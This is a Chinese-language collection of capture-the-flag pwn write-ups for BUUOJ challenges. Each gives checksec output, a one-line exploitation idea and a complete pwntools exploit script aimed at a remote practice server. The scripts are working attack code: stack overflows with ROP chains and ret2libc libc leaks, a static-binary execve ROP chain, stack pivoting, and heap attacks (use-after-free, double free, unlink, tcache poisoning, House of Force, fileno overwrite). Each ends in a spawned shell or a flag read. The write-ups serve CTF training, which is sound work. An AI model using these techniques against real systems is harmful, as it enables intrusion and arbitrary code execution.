exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./level3_x64') sh=remote('node3.buuoj.cn',28929) context.log_level='debug' elf=ELF('./level3_x64') write_plt = elf.plt['write'] main_addr = elf.symbols['main'] read_got = elf.got['read'] pop_rdi_ret=0x00000000004006b3 pop_rsi_r15_ret=0x00000000004006b1 payload = 'a' * (0x80 + 8) payload+=p64(pop_rdi_ret)+p64(1) +p64(pop_rsi_r15_ret)+p64(read_got)+p64(0)+p64(write_plt)+p64(main_addr) sh.recvuntil('Input:\n') sleep(0.5) sh.sendline(payload) sleep(0.5) read_addr=u64(sh.recv(8)) sh.success('read_addr : ' +hex(read_addr)) libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload = 'a' * (0x80 + 8) payload+=p64(pop_rdi_ret)+p64(str_bin_sh) +p64(system_addr) sh.recvuntil('\n') sh.sendline(payload) sh.interactive()
gyctf_2020_some_thing_exceting checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 程序将flag写到了bss段上,我们通过uaf将chunk申请到bss段上。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #! /usr/bin/env python from pwn import * #sh=process('./gyctf_2020_some_thing_exceting') sh=remote('node3.buuoj.cn',27045) elf=ELF('./gyctf_2020_some_thing_exceting') context.log_level='debug' def add(size,size2,content='\n',content2='\n'): sh.recvuntil('Now please tell me what you want to do :') sh.sendline('1') sh.recvuntil(': ') sh.sendline(str(size)) sh.recvuntil(': ') sh.sendline(content) sh.recvuntil(': ') sh.sendline(str(size2)) sh.recvuntil(': ') sh.sendline(content2) def free(index): sh.recvuntil('Now please tell me what you want to do :') sh.sendline('3') sh.recvuntil(': ') sh.sendline(str(index)) def show(index): sh.recvuntil('Now please tell me what you want to do :') sh.sendline('4') sh.recvuntil('Banana ID : > SCP project ID : ') sh.sendline(str(index)) add(0x58,0x58) #0 add(0x58,0x58) #1 free(0) free(1) free(0) add(0x58,0x58,p64(0x602098)) #2 add(0x58,0x58) #3 add(0x58,0x20) #4 #gdb.attach(sh) show(4) sh.interactive()
actf_2019_babystack checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 栈迁移+ROP利用
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./ACTF_2019_babystack') sh=remote('node3.buuoj.cn',28438) elf=ELF('./ACTF_2019_babystack') context.log_level='debug' sh.recvuntil('>') sh.sendline(str(0xe0)) sh.recvuntil('Your message will be saved at ') stack_addr=int(sh.recv(14),16) sh.success('stack_addr : ' +hex(stack_addr)) pop_rdi_ret=0x0000000000400ad3 leave_ret=0x0000000000400a18 puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] main_addr=0x00000000004008F6 sh.recvuntil('>') payload='a'*8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)+'a'*0xa8+p64(stack_addr)+p64(leave_ret) sh.send(payload) sh.recvuntil('Byebye~\n') puts_addr=u64(sh.recv(6).ljust(8,'\x00')) sh.success('puts_addr : ' +hex(puts_addr)) libc=LibcSearcher('puts',puts_addr) libc_base=puts_addr-libc.dump('puts') sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4f2c5 #gdb.attach(sh) sh.recvuntil('>') sh.sendline(str(0xe0)) sh.recvuntil('Your message will be saved at ') stack_addr=int(sh.recv(14),16) sh.success('stack_addr : ' +hex(stack_addr)) sh.recvuntil('>') payload='a'*8+p64(one_gadget)+'a'*(0xd0-0x10)+p64(stack_addr)+p64(leave_ret) sh.send(payload) sh.interactive()
cmcc_pwnme2 checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 简单题
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./pwnme2') sh=remote('node3.buuoj.cn',25121) context.log_level='debug' elf=ELF('./pwnme2') puts_plt = elf.plt['puts'] main_addr = elf.sym['main'] puts_got = elf.got['puts'] payload = 'a' * (0x6c + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got) #sh.recvuntil('Please input:\n') sh.sendline(payload) puts_addr=u32(sh.recvuntil('\xf7')[-4:]) sh.success('puts_addr : ' +hex(puts_addr)) libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload='a'*0x6c+'a'*0x4+p32(system_addr)+p32(main_addr)+p32(str_bin_sh) sh.recvuntil('\n') sh.sendline(payload) sh.interactive()
picoctf_2018_can_you_gets_me checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 静态编译,ROPgadget工具一键生成rop链你值得拥有。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #! /usr/bin/env python from pwn import * from struct import pack #sh=process('PicoCTF_2018_can-you-gets-me') sh=remote('node3.buuoj.cn',26568) p = 'a'*0x18+'a'*4 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b81c6) # pop eax ; ret p += '/bin' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b81c6) # pop eax ; ret p += '//sh' p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080481c9) # pop ebx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080de955) # pop ecx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x0806f02a) # pop edx ; ret p += pack('<I', 0x080ea068) # @ .data + 8 p += pack('<I', 0x08049303) # xor eax, eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0807a86f) # inc eax ; ret p += pack('<I', 0x0806cc25) # int 0x80 sh.sendline(p) sh.interactive()
axb_2019_brop64 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 栈溢出
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./axb_2019_brop64') sh=remote('node3.buuoj.cn',28031) context.log_level='debug' elf=ELF('./axb_2019_brop64') puts_plt = elf.plt['puts'] main_addr = elf.symbols['main'] read_got = elf.got['read'] pop_rdi_ret=0x0000000000400963 payload = 'a' *0xd0+'a'*8 payload+=p64(pop_rdi_ret)+p64(read_got)+p64(puts_plt)+p64(main_addr) sh.recvuntil('Please tell me:') sleep(0.5) sh.sendline(payload) sleep(0.5) read_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) sh.success('read_addr : ' +hex(read_addr)) libc = LibcSearcher('read', read_addr) libc_base = read_addr - libc.dump('read') system_addr = libc_base + libc.dump('system') str_bin_sh = libc_base + libc.dump('str_bin_sh') payload = 'a' * (0xd0 + 8) payload+=p64(pop_rdi_ret)+p64(str_bin_sh) +p64(system_addr) sh.recvuntil(':') sh.sendline(payload) sh.interactive()
picoctf_2018_got_shell checksec检查: 1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用: 根据程序提示输入即可
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 #! /usr/bin/env python from pwn import * #sh=process('./PicoCTF_2018_got-shell') sh=remote('node3.buuoj.cn',27588) sleep(0.5) sh.sendline('0804a014') sleep(0.5) sh.sendline('0804854B') sh.interactive()
hitcontraining_unlink checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
利用:
unlink攻击,改atoi为system
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #! /usr/bin/env python from pwn import * from LibcSearcher import * #sh=process('./bamboobox') sh=remote('node3.buuoj.cn',28460) elf=ELF('./bamboobox') #libc=ELF('./libc.so.6') context.log_level='debug' def add(size,content): sh.recvuntil(':') sh.sendline('2') sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def edit(index,size,content): sh.recvuntil(':') sh.sendline('3') sh.recvuntil(':') sh.sendline(str(index)) sh.recvuntil(':') sh.sendline(str(size)) sh.recvuntil(':') sh.send(content) def show(): sh.recvuntil(':') sh.sendline('1') def free(index): sh.recvuntil(':') sh.sendline('4') sh.recvuntil(':') sh.sendline(str(index)) fd=0x6020d8-0x18 bk=0x6020d8-0x10 atoi_got=elf.got['atoi'] puts_got=elf.got['puts'] add(0x20,'aaaa') #0 add(0x80,'bbbb') #1 add(0x80,'cccc') #2 add(0x10,'dddd') #3 edit(1,0x90,p64(0)+p64(0x81)+p64(fd)+p64(bk)+'a'*0x60+p64(0x80)+p64(0x90)) free(2) edit(1,0x20,p64(0x20)+p64(atoi_got)) show() atoi_addr=u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) sh.success('atoi_addr : ' +hex(atoi_addr)) libc=LibcSearcher('atoi',atoi_addr) libc_base=atoi_addr-libc.dump('atoi') system_addr=libc_base+libc.dump('system') sh.success('libc_base : ' +hex(libc_base)) sh.success('system_addr : ' +hex(system_addr)) edit(0,0x20,p64(system_addr)) sh.recvuntil(':') sh.sendline('/bin/sh\x00') #gdb.attach(sh) sh.interactive()
axb_2019_heap checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 格式化字符串泄露libc,然后unlink利用将chunk0修改为free_hook,然后将one_gadget写进去。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #! /usr/bin/env python from pwn import * #sh=process('./axb_2019_heap') sh=remote('node3.buuoj.cn',27301) elf=ELF('./axb_2019_heap') context.log_level='debug' libc=ELF('./x64-libc-2.23.so') def add(idx,size,content): sh.sendlineafter('>>','1') sh.sendlineafter('):',str(idx)) sh.sendlineafter('size:',str(size)) sh.sendlineafter('content:',content) def free(idx): sh.sendlineafter('>>','2') sh.sendlineafter('index:',str(idx)) def edit(idx,content): sh.sendlineafter('>>','4') sh.sendlineafter('index:',str(idx)) sh.sendlineafter('content: \n',content) def show(): sh.sendlineafter('>>','3') sh.recvuntil('Enter your name: ') #gdb.attach(sh) sh.sendline('%11$p%15$p') sh.recvuntil('Hello, ') base=int(sh.recv(14),16)-0x1186 sh.success('base : ' +hex(base)) libc_start_main=int(sh.recv(14),16)-240 sh.success('libc_start_main : ' +hex(libc_start_main)) libc_base=libc_start_main-libc.symbols['__libc_start_main'] sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4526a sh.success('one_gadget : ' +hex(one_gadget)) free_hook=libc_base+libc.symbols['__free_hook'] sh.success('free_hook : ' +hex(free_hook)) bss=base+0x202020 sh.success('bss : ' +hex(bss)) fd=bss+0x50-0x18 bk=bss+0x50-0x10 add(0,0x98,'aaaa') add(1,0x98,'bbbb') add(2,0x98,'cccc') add(3,0x90,'/bin/sh\x00') edit(1,p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+'\xa0') free(2) edit(1,'a'*8+p64(free_hook)+'\x98') edit(0,p64(one_gadget)) free(3) #gdb.attach(sh) sh.interactive()
ciscn_2019_final_2 checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 这个题就是一个UAF加IO File的利用,flag在666的文件描述符中,通过将stdin的文件描述符从0改为666,这样调用scanf时就会从666文件描述符中读取数据,就会读入flag
泄露堆地址伪造size UAF漏洞,程序每次free后会把bool置0,所有需要再次申请chunk,置一才可以造成double free。0x30+0x20+0x20+0x20=0x90
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 add(1,1) free(1) add(2,1) add(2,1) add(2,1) add(2,1) free(2) add(1,1) free(2) show(2) sh.recvuntil("number :") chunk_addr = sh.recvuntil("\n") chunk_addr = int(chunk_addr,10)&0xffff sh.success('chunk_addr : ' +hex(chunk_addr)) add(2,chunk_addr-0xa0) add(2,chunk_addr-0xa0) add(2,0x91) #fake chunk_size is 0x91
泄露libc地址 tcache bin机制,需要先填充,再将chunk1释放到unsorted bin中
1 2 3 4 5 6 7 8 9 10 11 for i in range(7): free(1) add(2,0x21) free(1) show(1) sh.recvuntil("number :") main_arena=int(sh.recv(11),10)&0xffffffff sh.success('main_arena : ' +hex(main_arena)) fileno_addr=main_arena-96-0x1d8 sh.success('fileno_addr : ' +hex(fileno_addr))
修改fileno 因为这里的chunk1是0x90大小的,而我们只能申请0x20和0x30大小的chunk,所有不能直接写入。通过double free 泄露chunk_addr,修改free chunk 地址为fileno地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 add(1,fileno_addr) #0x30 add(1,0x30) free(1) add(2,0x20) free(1) show(1) sh.recvuntil("number :") chunk_addr=int(sh.recv(11),10)&0xffffffff sh.success('chunk_addr : ' +hex(chunk_addr)) add(1,chunk_addr-0x30) add(1,chunk_addr-0x30) add(1,chunk_addr-0x30) add(1,666)
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 #! /usr/bin/env python from pwn import * context.log_level = "debug" sh = remote("node3.buuoj.cn", 29666) #sh = process("./ciscn_final_2") libc = ELF("./libc.so.6") def add(typee,num): sh.sendlineafter("which command?\n",'1') sh.recvuntil("2: short int\n") sh.sendline(str(typee)) sh.sendlineafter("your inode number:",str(num)) def free(typee): sh.sendlineafter("which command?\n",'2') sh.recvuntil("2: short int\n") sh.sendline(str(typee)) def show(typee): sh.sendlineafter("which command?\n",'3') sh.recvuntil(">") sh.sendline(str(typee)) add(1,1) free(1) add(2,1) add(2,1) add(2,1) add(2,1) free(2) add(1,1) free(2) show(2) sh.recvuntil("number :") chunk_addr = sh.recvuntil("\n") chunk_addr = int(chunk_addr,10)&0xffff sh.success('chunk_addr : ' +hex(chunk_addr)) add(2,chunk_addr-0xa0) add(2,chunk_addr-0xa0) add(2,0x91) #fake chunk_size is 0x91 for i in range(7): free(1) add(2,0x21) free(1) show(1) sh.recvuntil("number :") main_arena=int(sh.recv(11),10)&0xffffffff sh.success('main_arena : ' +hex(main_arena)) fileno_addr=main_arena-96-0x1d8 sh.success('fileno_addr : ' +hex(fileno_addr)) add(1,fileno_addr) #0x30 add(1,0x30) free(1) add(2,0x20) free(1) show(1) sh.recvuntil("number :") chunk_addr=int(sh.recv(11),10)&0xffffffff sh.success('chunk_addr : ' +hex(chunk_addr)) add(1,chunk_addr-0x30) add(1,chunk_addr-0x30) add(1,chunk_addr-0x30) add(1,666) sh.sendlineafter('which command?\n> ', '4') sh.recvuntil('your message :') #gdb.attach(sh) sh.interactive()
gyctf_2020_force checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
利用: 只有add一个功能,puts是空壳函数 程序在申请chunk后,会打印出chunk的地址,那么我们申请一个大块的空间,系统就会用mmap分配,mmap分配的这块区域在libc下方,偏移是固定的,我们就可以算出libc_base 然后不管申请多大的chunk,都能读入0x50,那这里就存在溢出,我们通过这个溢出,把top chunk的size改为0xffffffffffffffff,那我们就可以申请很大的size了,我们申请一个size为malloc_hook何top chunk之间的偏移的chunk,那么就能将top chunk推到malloc_hook附近
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 #! /usr/bin/env python from pwn import * #sh=process('./gyctf_2020_force') sh=remote('node3.buuoj.cn',27218) libc=ELF('./x64-libc-2.23.so') context.log_level='debug' def add(size,content): sh.recvuntil('2:puts') sh.sendline('1') sh.recvuntil('size') sh.sendline(str(size)) sh.recvuntil('bin addr ') chunk_addr=int(sh.recv(14),16) sh.recvuntil('content') sh.send(content) return chunk_addr def leak_libc(size,content): sh.recvuntil('2:puts') sh.sendline('1') sh.recvuntil('size') sh.sendline(str(size)) sh.recvuntil('bin addr ') chunk_addr=int(sh.recv(14),16) sh.recvuntil('content') sh.send(content) return chunk_addr chunk_addr=leak_libc(2000000,'aaaa') libc_base=chunk_addr+0x1e8ff0 sh.success('libc_base : ' +hex(libc_base)) malloc_hook = libc_base + libc.symbols['__malloc_hook'] sh.success("malloc_hook : " + hex(malloc_hook)) realloc = libc_base + libc.sym['realloc'] one_gadget = libc_base +0x4526a sh.success("one_gadget : " + hex(one_gadget)) sh.success("realloc : " + hex(realloc)) chunk_addr=add(0x20,p64(0)*5+p64(0xffffffffffffffff)) sh.success('chunk_addr : ' +hex(chunk_addr)) heap_base=chunk_addr-0x10+0x30 sh.success('heap_base : ' +hex(heap_base)) size=malloc_hook-0x30-heap_base-0x10 sh.success('size : ' +hex(size)) add(size,'aa') add(0x20,'b'*8+p64(one_gadget)+p64(realloc+4)) #gdb.attach(sh) sh.recvuntil('2:puts') sh.sendline('1') sh.recvuntil('size') sh.sendline(str(0x20)) sh.interactive()
mrctf2020_easy_equation checksec检查: 1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
利用: 栈溢出,有后门函数,需要注意的是溢出字节是9个。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #! /usr/bin/env python from pwn import * #sh=process('./mrctf2020_easy_equation') sh=remote('node3.buuoj.cn',29117) elf=ELF('./mrctf2020_easy_equation') context.log_level='debug' system_plt=elf.plt['system'] pop_rdi=0x0000000000400753 payload='a'*9+p64(pop_rdi)+p64(0x0000000000400779)+p64(system_plt) sh.sendline(payload) sh.interactive()
ciscn_2019_en_3 checksec检查: 1 2 3 4 5 6 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
利用: puts函数会泄露出libc,然后就是常规的tcachebin利用。
exp如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #! /usr/bin/env python from pwn import * #sh=process('./ciscn_2019_en_3') sh=remote('node3.buuoj.cn',26415) elf=ELF('./ciscn_2019_en_3') context.log_level='debug' libc=ELF('./18-64-libc-2.27.so') def add(size,content): sh.recvuntil(':') sh.sendline('1') sh.recvuntil(': \n') sh.sendline(str(size)) sh.recvuntil(': \n') sh.send(content) def free(index): sh.recvuntil(':') sh.sendline('4') sh.recvuntil(':\n') sh.sendline(str(index)) sh.recvuntil("What's your name?\n") sh.sendline('L0ne1y') sh.recvuntil('Please input your ID.\n') sh.sendline('a'*8) sh.recv(8) setbuffer_addr=u64(sh.recv(6).ljust(8,'\x00'))-231 sh.success('setbuffer : ' +hex(setbuffer_addr)) libc_base=setbuffer_addr-libc.symbols['setbuffer'] sh.success('libc_base : ' +hex(libc_base)) one_gadget=libc_base+0x4f322 sh.success('one_gadget : ' +hex(one_gadget)) free_hook=libc_base+libc.symbols['__free_hook'] sh.success('free_hook : ' +hex(free_hook)) add(0x60,'L0ne1y') free(0) free(0) add(0x60,p64(free_hook)) add(0x60,p64(free_hook)) add(0x60,p64(one_gadget)) free(0) #gdb.attach(sh) sh.interactive()